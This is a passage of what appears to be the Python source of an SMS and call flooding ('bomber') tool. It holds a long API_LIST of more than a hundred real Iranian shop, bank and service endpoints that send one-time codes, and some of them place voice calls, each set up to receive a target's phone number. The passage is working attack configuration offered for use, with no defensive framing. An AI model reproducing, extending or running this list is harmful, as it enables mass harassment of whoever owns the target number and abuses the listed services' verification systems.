"url": "https://kafegheymat.com/shop/getLoginSms", "data": {"phone": phoneNumber_zero}}, 135 | {"name": "Opco", "method": "POST", "url": "https://shop.opco.co.ir/index.php?route=extension/module/login_verify/update_register_code", "data": {"telephone": phoneNumber_zero}}, 136 | {"name": "Melix", "method": "POST", "url": "https://melix.shop/site/api/v1/user/otp", "payload": {"mobile": phoneNumber_zero}}, 137 | {"name": "Safiran", "method": "POST", "url": "https://safiran.shop/login", "payload": {"mobile": phoneNumber_zero}}, 138 | {"name": "Pirankalaco", "method": "POST", "url": "https://pirankalaco.ir/shop/SendPhone.php", "data": "phone=" + phoneNumber_zero + ""}, 139 | {"name": "Tnovin", "method": "POST", "url": "http://shop.tnovin.com/login", "data": "phone=" + phoneNumber_zero + ""}, 140 | {"name": "Dastakht", "method": "POST", "url": "https://dastkhat-isad.ir/api/v1/user/store", "payload": {"mobile": phoneNumber, "countryCode": 98, "device_os": 2}}, 141 | {"name": "Hamlex", "method": "POST", "url": "https://hamlex.ir/register.php", "data": "phoneNumber=" + phoneNumber_zero + "®ister="}, 142 | {"name": "Irwco", "method": "POST", "url": "https://irwco.ir/register", "data": "mobile=" + phoneNumber_zero + ""}, 143 | {"name": "Moshaveran724", "method": "POST", "url": "https://moshaveran724.ir/m/pms.php", "data": "againkey=" + phoneNumber_zero + "&cache=false"}, 144 | {"name": "Sibbank", "method": "POST", "url": "https://api.sibbank.ir/v1/auth/login", "payload": {"phone_number": phoneNumber_zero}}, 145 | {"name": "Steelalborz", "method": "POST", "url": "https://steelalborz.com/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_zero + ""}, 146 | {"name": "Arshian", "method": "POST", "url": "https://api.arshiyan.com/send_code", "payload": {"country_code": "98", "phone_number": phoneNumber}}, 147 | {"name": "Topnoor", "method": "POST", "url": "https://backend.topnoor.ir/web/v1/user/otp", "payload": {"mobile": phoneNumber_zero}}, 148 | {"name": "Alinance", "method": "POST", "url": "https://api.alinance.com/user/register/mobile/send/", "payload": {"phone_number": phoneNumber_zero}}, 149 | {"name": "Alopeyk Safir", "method": "POST", "url": "https://api.alopeyk.com/safir-service/api/v1/login", "payload": {"phone": phoneNumber_zero}}, 150 | {"name": "Chaymarket", "method": "POST", "url": "https://www.chaymarket.com/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_zero + ""}, 151 | {"name": "Ehteraman", "method": "POST", "url": "https://api.ehteraman.com/api/request/otp", "payload": {"mobile": phoneNumber_zero}}, 152 | {"name": "MCI Shop", "method": "POST", "url": "https://api-ebcom.mci.ir/services/auth/v1.0/otp", "payload": {"msisdn": phoneNumber}}, 153 | {"name": "Hamrahbours", "method": "POST", "url": "https://api.hbbs.ir/authentication/SendCode", "payload": {"MobileNumber": phoneNumber_zero}}, 154 | {"name": "Homtick", "method": "POST", "url": "https://auth.homtick.com/api/V1/User/GetVerifyCode", "payload": {"mobileOrEmail": phoneNumber_zero}}, 155 | {"name": "Iranamlaak", "method": "POST", "url": "https://api.iranamlaak.net/authenticate/send/otp/to/mobile/via/sms", "payload": {"AgencyMobile": phoneNumber_zero}}, 156 | {"name": "Karchidari", "method": "POST", "url": "https://api.kcd.app/api/v1/auth/login", "payload": {"mobile": phoneNumber_zero}}, 157 | {"name": "Mazoo", "method": "POST", "url": "https://mazoocandle.ir/login", "payload": {"phone": phoneNumber}}, 158 | {"name": "Paymishe", "method": "POST", "url": "https://api.paymishe.com/api/v1/otp/registerOrLogin", "payload": {"mobile": phoneNumber_zero}}, 159 | {"name": "Podro", "method": "POST", "url": "https://api.pod.ir/api/v1/otp/registerOrLogin", "payload": {"mobile": phoneNumber_zero}}, 160 | {"name": "Rayshomar", "method": "POST", "url": "https://api.rayshomar.ir/api/Register/RegistrMobile", "data": "MobileNumber=" + phoneNumber_zero + ""}, 161 | {"name": "Amoomilad", "method": "POST", "url": "https://amoomilad.demo-hoonammaharat.ir/api/v1.0/Account/Sendcode", "payload": {"PhoneNumber": phoneNumber_zero}}, 162 | {"name": "Bitex24", "method": "GET", "url": "https://bitex24.com/api/v1/auth/sendSms?mobile=" + phoneNumber_zero + "&dial_code=0"}, 163 | {"name": "Candoosms", "method": "POST", "url": "https://www.candoosms.com/wp-admin/admin-ajax.php", "data": "action=send_sms&phone=" + phoneNumber_zero + ""}, 164 | {"name": "Offch", "method": "POST", "url": "https://api.offch.com/auth/otp", "payload": {"username": phoneNumber_zero}}, 165 | {"name": "Sabziman", "method": "POST", "url": "https://sabziman.com/wp-admin/admin-ajax.php", "data": "action=newphoneexist&phonenumber=" + phoneNumber_zero + ""}, 166 | {"name": "Tajtehran", "method": "POST", "url": "https://tajtehran.com/RegisterRequest", "data": "mobile=" + phoneNumber_zero + "&password=mamad1234"}, 167 | {"name": "MrBilit (Call)", "method": "GET", "url": "https://auth.mrbilit.com/api/Token/send/byCall?mobile=" + phoneNumber_zero + ""}, 168 | {"name": "Gap (Call)", "method": "GET", "url": "https://core.gap.im/v1/user/resendCode.json?mobile=" + phoneNumber + "&type=IVR"}, 169 | {"name": "Novibook (Call)", "method": "POST", "url": "https://novinbook.com/index.php?route=account/phone", "data": "phone=" + phoneNumber_zero + "&call=yes"}, 170 | {"name": "Azki (Call)", "method": "GET", "url": "https://www.azki.com/api/vehicleorder/api/customer/register/login-with-vocal-verification-code?phoneNumber=" + phoneNumber_zero + ""}, 171 | {"name": "Janebi", "method": "POST", "url": "https://janebi.com/signin?do", "data": {"resend": phoneNumber_zero}}, 172 | {"name": "4hair", "method": "POST", "url": "https://4hair.ir/user/login.php", "data": {"num": phoneNumber_zero, "ok": ""}}, 173 | {"name": "iGame", "method": "POST", "url": "https://igame.ir/api/play/otp/send", "payload": {"phone": phoneNumber_zero}}, 174 | {"name": "TWsms", "method": "POST", "url": "https://twsms.ir/client/register.php", "data": {"mobile": phoneNumber_zero, "agree": "agree", "sendsms": "1"}}, 175 | {"name": "BaradaranToy", "method": "POST", "url": "https://baradarantoy.ir/send_confirm_sms_ajax.php", "data": {"user_tel": phoneNumber_zero}}, 176 | {"name": "KavirMotor", "method": "POST", "url": "https://kavirmotor.com/sms/send", "payload": {"phoneNumber": phoneNumber_zero}}, 177 | {"name": "Chechilas", "method": "POST", "url": "https://chechilas.com/user/login", "data": {"mob": phoneNumber_zero}}, 178 | {"name": "Searchii", "method": "POST", "url": "https://searchii.ir//controler//phone_otp.php", "data": {"mobile_number": phoneNumber_zero, "action": "send_otp", "login": "user"}}, 179 | {"name": "Badparak", "method": "POST", "url": "https://badparak.com/register/request_verification_code", "payload": {"mobile": phoneNumber_zero}}, 180 | {"name": "HermesKala", "method": "POST", "url": "https://hermeskala.com//login/send_vcode", "payload": {"mobile_number": phoneNumber_zero}}, 181 | {"name": "ElinorBoutique", "method": "POST", "url": "https://api.elinorboutique.com/v1/customer/register-login", "payload": {"mobile": phoneNumber_zero}}, 182 | {"name": "AtlasMode", "method": "POST", "url": "https://api.atlasmode.ir/v1/customer/register-login?version=new2", "payload": {"mobile": phoneNumber_zero}}, 183 | {"name": "PooshakShoniz", "method": "POST", "url": "https://api.pooshakshoniz.com/v1/customer/register-login?version=new1", "payload": {"mobile": phoneNumber_zero}}, 184 | {"name": "Ubike", "method": "POST", "url": "https://ubike.ir/index.php?route=extension/module/websky_otp/send_code", "data": {"telephone": phoneNumber_zero}}, 185 | {"name": "Benedito", "method": "POST", "url": "https://api.benedito.ir/v1/customer/register-login?version=new1", "payload": {"mobile": phoneNumber_zero}}, 186 | {"name": "Rubeston", "method": "POST", "url": "https://www.rubeston.com/api/customers/login-register", "payload": {"mobile": phoneNumber_zero, "step": "1"}}, 187 | {"name": "PrimaShop", "method": "POST", "url": "https://primashop.ir/index.php?route=extension/module/websky_otp/send_code", "data": {"telephone": phoneNumber_zero}}, 188 | {"name": "PayaGym", "method": "POST", "url": "https://payagym.com/wp-admin/admin-ajax.php", "data": {"mobile": phoneNumber_zero, "action": "kerasno_proform_register_inline_send"}}, 189 | {"name": "Bartarinha", "method": "POST", "url": "https://bartarinha.com/Advertisement/Users/RequestLoginMobile", "data": {"mobileNo": phoneNumber_zero}}, 190 | {"name": "ManoShahr", "method": "POST", "url": "https://manoshahr.ir/jq.php", "data": {"mobile": phoneNumber_zero, "class_name": "public_login", "function_name": "sendCode"}}, 191 | {"name": "NalinoCo", "method": "POST", "url": "https://www.nalinoco.com/api/customers/login-register", "payload": {"mobile": phoneNumber_zero, "step": "1"}}, 192 | {"name": "Hiss", "method": "POST", "url": "https://hiss.ir/wp-admin/admin-ajax.php", "data": {"phone_email": phoneNumber_zero, "action": "bakala_send_code"}}, 193 | {"name": "Tahrir-Online", "method": "POST", "url": "https://tahrir-online.ir/wp-admin/admin-ajax.php", "data": {"phone": phoneNumber, "action": "mobix_send_otp_code"}}, 194 | {"name": "MartDay", "method": "POST", "url": "https://martday.ir/api/customer/member/register/", "data": {"email": phoneNumber_zero, "accept_term": "on"}}, 195 | {"name": "Paaakar", "method": "POST", "url": "https://api.paaakar.com/v1/customer/register-login?version=new1", "payload": {"mobile": phoneNumber_zero}}, 196 | {"name": "ElectraStore", "method": "POST", "url": "https://electrastore.ir/index.php?route=extension/module/websky_otp/send_code", "data": {"telephone": phoneNumber_zero}}, 197 | {"name": "AtrinElec", "method": "POST", "url": "https://www.atrinelec.com/ajax/SendSmsVerfiyCode", "data": {"mobile": phoneNumber_zero}}, 198 | {"name": "KetabWeb", "method": "POST", "url": "https://ketabweb.com/login/?usernameCheck=1", "data": {"username": phoneNumber_zero}}, 199 | {"name": "Dastaneman", "method": "POST", "url": "https://dastaneman.com/User/SendCode", "data": {"mobile": "0098" + phoneNumber_countryCode + ""}}, 200 | {"name": "80w", "method": "POST", "url": "https://80w.ir/wp-admin/admin-ajax.php", "data": {"login": phoneNumber_zero, "action": "logini_first"}}, 201 | {"name": "NoavarPub", "method": "POST", "url": "https://noavarpub.com/logins/login.php", "data": {"phone": phoneNumber_zero, "submit": "123"}}, 202 | {"name": "HovalVakil", "method": "GET", "url": "https://api.hovalvakil.com/api/User/SendConfirmCode?userName=" + phoneNumber_countryCode + ""}, 203 | {"name": "DigiGhate", "method": "GET", "url": "https://api.digighate.com/v2/public/code?phone=" + phoneNumber_countryCode + ""}, 204 | {"name": "AzarbadBook", "method": "POST", "url": "https://azarbadbook.ir/ajax/login_j_ajax_ver/", "data": {"phone": phoneNumber}}, 205 | {"name": "KanoonBook", "method": "POST", "url": "https://www.kanoonbook.ir/store/customer_otp", "data": {"customer_username": phoneNumber, "task": "customer_phone"}}, 206 | {"name": "CheshmandazKetab", "method": "POST", "url": "https://www.cheshmandazketab.ir/Register", "data": {"phone": phoneNumber_zero, "login": "1"}}, 207 | {"name": "Ketab.ir", "method": "GET", "url": "https://sso-service.ketab.ir/api/v2/signup/otp?Mobile=" + phoneNumber_zero + "&OtpSmsType=1"}, 208 | {"name": "SnappShop", "method": "POST", "url": "https://apix.snappshop.co/auth/v1/pre-login", "payload": {"mobile": phoneNumber_zero}}, 209 | {"name": "Ketabium", "method": "POST", "url": "https://www.ketabium.com/login-register", "data": {"username": phoneNumber_zero}}, 210 | {"name": "RiraBook", "method": "POST", "url": "https://rirabook.com/loginAth", "data": {"mobile1": phoneNumber_zero, "loginbt1": ""}}, 211 | {"name": "PashikShoes", "method": "POST", "url": "https://api.pashikshoes.com/v1/customer/register-login", "payload": {"mobile": phoneNumber_zero}}, 212 | {"name": "ShimaShoes", "method": "POST", "url": "https://shimashoes.com/api/customer/member/register/", "data": {"email": phoneNumber_zero}}, 213 | {"name": "TamimPishro", "method": "POST", "url": "https://www.tamimpishro.com/site/api/v1/user/otp", "payload": {"mobile": phoneNumber_zero}}, 214 | {"name": "Fafait", "method": "POST", "url": "https://api2.fafait.net/oauth/check-user", "payload": {"id": phoneNumber_zero}}, 215 | {"name": "Telewebion", "method": "POST", "url": "https://gateway.telewebion.com/shenaseh/api/v2/auth/step-one", "payload": {"code": "98", "phone": phoneNumber, "smsStatus": "default"}}, 216 | {"name": "Caropex", "method": "POST", "url": "https://caropex.com/api/v1/user/login", "payload": {"mobile": phoneNumber_zero}}, 217 | {"name": "NovinMedical", "method": "POST", "url": "https://novinmedical.com/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}}, 218 | {"name": "HamrahSport", "method": "POST", "url": "https://hamrahsport.com/send-otp", "data": {"cell": phoneNumber, "send_otp": "1"}}, 219 | {"name": "Dalfak", "method": "POST", "url": "https://www.dalfak.com/api/auth/sendVerificationCode", "payload": {"type": 1, "value": phoneNumber_zero}}, 220 | {"name": "MelliShoes", "method": "POST", "url": "https://mellishoes.ir/wp-admin/admin-ajax.php", "data": {"action": "websima_auth_account_detection", "mobile": phoneNumber_zero}}, 221 | {"name": "SetShoe", "method": "POST", "url": "https://setshoe.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}}, 222 | {"name": "MaxBax", "method": "POST", "url": "https://maxbax.com/wp-admin/admin-ajax.php", "data": {"action": "bakala_send_code", "phone_email": phoneNumber_zero}}, 223 | {"name": "ParkBag", "method": "POST", "url": "https://parkbag.com/fa/Account/RegisterOrLoginByMobileNumber", "data": {"MobaileNumber": phoneNumber}}, 224 | {"name": "TelKetab", "method": "POST", "url": "https://telketab.com/opt_field/check_secret", "data": {"identity": phoneNumber_zero}}, 225 | {"name": "AdinehBook", "method": "POST", "url": "https://www.adinehbook.com/gp/flex/sign-in.html", "data": {"action": "sign", "phone_cell_or_email": phoneNumber_zero}}, 226 | {"name": "GitaMehr", "method": "POST", "url": "https://gitamehr.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}}, 227 | {"name": "SunnyBook", "method": "POST", "url": "https://sunnybook.ir/Home/RegisterUser", "data": {"mobile": phoneNumber}}, 228 | {"name": "Mahouney", "method": "POST", "url": "https://mahouney.com/fa/Account/RegisterOrLoginByMobileNumber", "data": {"MobaileNumber": phoneNumber_zero}}, 229 | {"name": "MyRoz", "method": "POST", "url": "https://myroz.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}}, 230 | {"name": "Meidane", "method": "POST", "url": "https://meidane.com/accounts/login", "data": {"mobile": phoneNumber}}, 231 | {"name": "iCkala", "method": "POST", "url": "https://ickala.com/", "data": {"controller": "SendSMS", "fc": "module", "module": "loginbymobile", "SubmitSmsSend": "1", "ajax": "true", "otp_mobile_num": phoneNumber_zero}}, 232 | {"name": "ElecMarket", "method": "POST", "url": "https://elecmarket.ir/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}}, 233 | {"name": "TechSiro", "method": "POST", "url": "https://techsiro.com/send-otp", "payload": {"mobile": phoneNumber_zero}}, 234 | {"name": "NovinParse", "method": "POST", "url": "https://novinparse.com/Page/PageAction.aspx", "data": {"Action": "SendVerifyCode", "mobile": phoneNumber_zero}}, 235 | {"name": "TitoMarket", "method": "POST", "url": "https://titomarket.com/index.php?route=account/login_verify/verify", "data": {"telephone": phoneNumber_zero}}, 236 | {"name": "NikanBike", "method": "POST", "url": "https://nikanbike.com/", "data": {"controller": "authentication", "fc": "module", "module": "iverify", "phone_mobile": phoneNumber_zero, "SubmitCheck": ""}}, 237 | {"name": "Account724", "method": "POST", "url": "https://account724.com/wp-admin/admin-ajax.php", "data": {"action": "stm_login_register", "type": "mobile", "input": phoneNumber_zero}}, 238 | {"name": "Eaccount", "method": "POST", "url": "https://eaccount.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 239 | {"name": "QueenAccessories", "method": "POST", "url": "https://queenaccessories.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 240 | {"name": "RastarAccessory", "method": "POST", "url": "https://rastaraccessory.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 241 | {"name": "VinaAccessory", "method": "POST", "url": "https://vinaaccessory.com/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 242 | {"name": "ChortkehShop", "method": "POST", "url": "https://chortkehshop.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 243 | {"name": "PiinkStore", "method": "POST", "url": "https://piinkstore.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 244 | {"name": "DreamlandShop", "method": "POST", "url": "https://dreamlandshop.ir/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 245 | {"name": "MyDigiPay", "method": "POST", "url": "https://app.mydigipay.com/digipay/api/users/send-sms", "payload": {"cellNumber": phoneNumber_zero, "device": {"deviceId": "a16e6255-17c3-431b-b047-3f66d24c286f", "deviceModel": "WEB_BROWSER", "deviceAPI": "WEB_BROWSER", "osName": "WEB"}}}, 246 | {"name": "FoodCenter", "method": "POST", "url": "https://www.foodcenter.ir/account/sabtmobile", "data": "mobile=" + phoneNumber_zero + ""}, 247 | {"name": "MoboGift", "method": "POST", "url": "https://mobogift.com/signin", "payload": {"username": phoneNumber_zero}}, 248 | {"name": "IranTic", "method": "POST", "url": "https://www.irantic.com/api/login/request", "payload": {"mobile": phoneNumber_zero}}, 249 | {"name": "Delino Restaurant", "method": "POST", "url": "https://restaurant.delino.com/user/register", "payload": {"username": phoneNumber_zero}}, 250 | {"name": "Dadhesab", "method": "POST", "url": "https://api.dadhesab.ir/user/entry", "payload": {"username": phoneNumber_zero}}, 251 | {"name": "RefahTea", "method": "POST", "url": "https://refahtea.ir/wp-admin/admin-ajax.php", "data": {"mobile": phoneNumber_zero}}, 252 | {"name": "Snapp Digital", "method": "POST", "url": "https://digitalsignup.snapp.ir/oauth/drivers/api/v1/otp", "payload": {"cellphone": phoneNumber_zero}}, 253 | {"name": "MamiFood", "method": "POST", "url": "https://mamifood.org/Registration.aspx/SendValidationCode", "payload": {"Phone": phoneNumber}}, 254 | {"name": "WatchOnline", "method": "POST", "url": "https://api.watchonline.shop/api/v1/otp/request", "payload": {"mobile": phoneNumber_zero}}, 255 | {"name": "Digify", "method": "POST", "url": "https://apollo.digify.shop/graphql", "payload": {"operationName": "Mutation", "variables": {"content": {"phone_number": phoneNumber_zero}}, "query": "mutation Mutation($content: MerchantRegisterOTPSendContent) { merchantRegister { otpSend(content: $content) __typename } }"}}, 256 | ] 257 | 258 | API_VERSION = "2.1.0" 259 | API_LIST_COUNT = len(API_LIST("+9891234567890")) --------------------------------------------------------------------------------